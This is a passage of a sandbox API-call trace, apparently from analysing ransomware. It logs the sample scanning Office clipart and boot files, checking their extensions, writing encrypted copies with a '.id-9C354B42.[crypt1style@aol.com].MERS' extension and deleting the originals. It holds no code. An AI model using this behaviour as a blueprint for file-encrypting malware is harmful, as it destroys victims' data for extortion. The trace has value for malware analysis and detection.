[0273.722] lstrlenW (lpString=".jpg") returned 4 [0273.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.722] lstrlenW (lpString=".doc") returned 4 [0273.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString=".docx") returned 5 [0273.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.722] lstrlenW (lpString=".pdf") returned 4 [0273.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString=".xls") returned 4 [0273.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.722] lstrlenW (lpString=".xlsx") returned 5 [0273.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.722] lstrlenW (lpString=".ppt") returned 4 [0273.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.722] lstrlenW (lpString=".zip") returned 4 [0273.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.722] lstrlenW (lpString=".rar") returned 4 [0273.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.722] lstrlenW (lpString=".bz2") returned 4 [0273.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString=".7z") returned 3 [0273.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.723] lstrlenW (lpString=".dbf") returned 4 [0273.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.723] lstrlenW (lpString=".1cd") returned 4 [0273.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0273.723] lstrlenW (lpString=".jpg") returned 4 [0273.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.723] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.723] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0273.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.724] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=2422) returned 1 [0273.724] CloseHandle (hObject=0x3a8) returned 1 [0273.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0273.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.724] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.724] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.725] GetLastError () returned 0x0 [0273.725] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x976, lpOverlapped=0x0) returned 1 [0273.825] WriteFile (in: hFile=0x3b0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x980, lpOverlapped=0x0) returned 1 [0273.825] ReadFile (in: hFile=0x3a8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.825] WriteFile (in: hFile=0x3b0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.825] SetEndOfFile (hFile=0x3b0) returned 1 [0273.825] CloseHandle (hObject=0x3b0) returned 1 [0273.825] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.825] SetEndOfFile (hFile=0x3a8) returned 1 [0273.829] CloseHandle (hObject=0x3a8) returned 1 [0273.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0273.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.870] lstrlenW (lpString=".doc") returned 4 [0273.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.870] lstrlenW (lpString=".docx") returned 5 [0273.870] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0273.870] lstrlenW (lpString=".pdf") returned 4 [0273.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.870] lstrlenW (lpString=".xls") returned 4 [0273.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.870] lstrlenW (lpString=".xlsx") returned 5 [0273.870] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0273.870] lstrlenW (lpString=".ppt") returned 4 [0273.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.870] lstrlenW (lpString=".zip") returned 4 [0273.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.870] lstrlenW (lpString=".rar") returned 4 [0273.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.871] lstrlenW (lpString=".bz2") returned 4 [0273.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.871] lstrlenW (lpString=".7z") returned 3 [0273.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.871] lstrlenW (lpString=".dbf") returned 4 [0273.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.871] lstrlenW (lpString=".1cd") returned 4 [0273.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.871] lstrlenW (lpString=".jpg") returned 4 [0273.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.871] lstrlenW (lpString=".doc") returned 4 [0273.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.871] lstrlenW (lpString=".docx") returned 5 [0273.871] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0273.871] lstrlenW (lpString=".pdf") returned 4 [0273.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.871] lstrlenW (lpString=".xls") returned 4 [0273.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.871] lstrlenW (lpString=".xlsx") returned 5 [0273.871] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0273.871] lstrlenW (lpString=".ppt") returned 4 [0273.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.871] lstrlenW (lpString=".zip") returned 4 [0273.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.872] lstrlenW (lpString=".rar") returned 4 [0273.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.872] lstrlenW (lpString=".bz2") returned 4 [0273.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.872] lstrlenW (lpString=".7z") returned 3 [0273.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.872] lstrlenW (lpString=".dbf") returned 4 [0273.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.872] lstrlenW (lpString=".1cd") returned 4 [0273.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0273.872] lstrlenW (lpString=".jpg") returned 4 [0273.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.872] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.872] lstrlenW (lpString="CRANINST.WMF") returned 12 [0273.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0273.959] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=49546) returned 1 [0273.959] CloseHandle (hObject=0x3d4) returned 1 [0273.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0273.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0273.959] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.959] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0273.960] GetLastError () returned 0x0 [0273.960] ReadFile (in: hFile=0x3d4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0xc18a, lpOverlapped=0x0) returned 1 [0274.101] WriteFile (in: hFile=0x2cc, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xc190, lpOverlapped=0x0) returned 1 [0274.103] ReadFile (in: hFile=0x3d4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.103] WriteFile (in: hFile=0x2cc, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.103] SetEndOfFile (hFile=0x2cc) returned 1 [0274.103] CloseHandle (hObject=0x2cc) returned 1 [0274.103] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.103] SetEndOfFile (hFile=0x3d4) returned 1 [0274.105] CloseHandle (hObject=0x3d4) returned 1 [0274.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) Thread: id = 95 os_tid = 0x6e8 [0257.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3a80050 [0257.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10000) returned 0x3a90058 [0257.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5952f8 [0257.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x5c1fd8 [0257.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595310 [0257.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x3c80020 [0257.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595328 [0257.684] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595328, Size=0x20) returned 0x6293b0 [0257.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x595328 [0257.684] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x595328, Size=0x20) returned 0x6293d8 [0257.684] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0257.684] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0257.684] Wow64DisableWow64FsRedirection (in: OldValue=0x2faff58 | out: OldValue=0x2faff58*=0x0) returned 1 [0257.684] lstrlenW (lpString="kernel32.dll") returned 12 [0257.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6293b0 | out: hHeap=0x540000) returned 1 [0257.684] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0257.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6293d8 | out: hHeap=0x540000) returned 1 [0257.685] Sleep (dwMilliseconds=0x64) [0257.873] Sleep (dwMilliseconds=0x64) [0258.059] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0258.059] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0258.059] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0258.117] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=89168) returned 1 [0258.117] CloseHandle (hObject=0x2f8) returned 1 [0258.117] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0258.117] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.117] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.117] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.117] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.117] lstrlenW (lpString=".doc") returned 4 [0258.117] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.117] lstrlenW (lpString=".docx") returned 5 [0258.117] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.117] lstrlenW (lpString=".pdf") returned 4 [0258.117] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.117] lstrlenW (lpString=".xls") returned 4 [0258.117] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.118] lstrlenW (lpString=".xlsx") returned 5 [0258.118] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.118] lstrlenW (lpString=".ppt") returned 4 [0258.118] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.118] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.118] lstrlenW (lpString=".zip") returned 4 [0258.118] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.118] lstrlenW (lpString=".rar") returned 4 [0258.118] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.118] lstrlenW (lpString=".bz2") returned 4 [0258.118] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.118] lstrlenW (lpString=".7z") returned 3 [0258.118] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.118] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.118] lstrlenW (lpString=".dbf") returned 4 [0258.118] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.118] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.118] lstrlenW (lpString=".1cd") returned 4 [0258.118] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.118] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.118] lstrlenW (lpString=".jpg") returned 4 [0258.118] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.118] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.118] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.118] lstrlenW (lpString=".doc") returned 4 [0258.118] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0258.118] lstrlenW (lpString=".docx") returned 5 [0258.118] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0258.118] lstrlenW (lpString=".pdf") returned 4 [0258.118] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0258.118] lstrlenW (lpString=".xls") returned 4 [0258.118] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0258.118] lstrlenW (lpString=".xlsx") returned 5 [0258.118] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0258.118] lstrlenW (lpString=".ppt") returned 4 [0258.119] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0258.119] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.119] lstrlenW (lpString=".zip") returned 4 [0258.119] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0258.119] lstrlenW (lpString=".rar") returned 4 [0258.119] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0258.119] lstrlenW (lpString=".bz2") returned 4 [0258.119] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0258.119] lstrlenW (lpString=".7z") returned 3 [0258.119] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0258.119] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.119] lstrlenW (lpString=".dbf") returned 4 [0258.119] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.119] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.119] lstrlenW (lpString=".1cd") returned 4 [0258.119] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0258.119] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0258.119] lstrlenW (lpString=".jpg") returned 4 [0258.119] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0258.119] lstrcmpiW (lpString1=".ttf", lpString2=".MERS") returned 1 [0258.119] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0258.119] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0258.166] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=47452) returned 1 [0258.170] CloseHandle (hObject=0x2f0) returned 1 [0258.170] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0258.170] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0258.170] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.170] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.170] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.170] lstrlenW (lpString=".doc") returned 4 [0258.171] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0258.171] lstrlenW (lpString=".docx") returned 5 [0258.171] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0258.171] lstrlenW (lpString=".pdf") returned 4 [0258.171] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0258.171] lstrlenW (lpString=".xls") returned 4 [0258.171] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0258.171] lstrlenW (lpString=".xlsx") returned 5 [0258.171] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0258.171] lstrlenW (lpString=".ppt") returned 4 [0258.171] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0258.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.171] lstrlenW (lpString=".zip") returned 4 [0258.171] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0258.171] lstrlenW (lpString=".rar") returned 4 [0258.171] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0258.171] lstrlenW (lpString=".bz2") returned 4 [0258.171] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0258.171] lstrlenW (lpString=".7z") returned 3 [0258.171] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0258.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.171] lstrlenW (lpString=".dbf") returned 4 [0258.171] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0258.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.171] lstrlenW (lpString=".1cd") returned 4 [0258.171] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0258.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.171] lstrlenW (lpString=".jpg") returned 4 [0258.171] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0258.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.171] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.171] lstrlenW (lpString=".doc") returned 4 [0258.171] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0258.171] lstrlenW (lpString=".docx") returned 5 [0258.171] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0258.172] lstrlenW (lpString=".pdf") returned 4 [0258.172] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0258.172] lstrlenW (lpString=".xls") returned 4 [0258.172] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0258.172] lstrlenW (lpString=".xlsx") returned 5 [0258.172] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0258.172] lstrlenW (lpString=".ppt") returned 4 [0258.172] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0258.172] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0258.172] lstrlenW (lpString=".zip") returned 4 [0258.172] lstrcmpiW 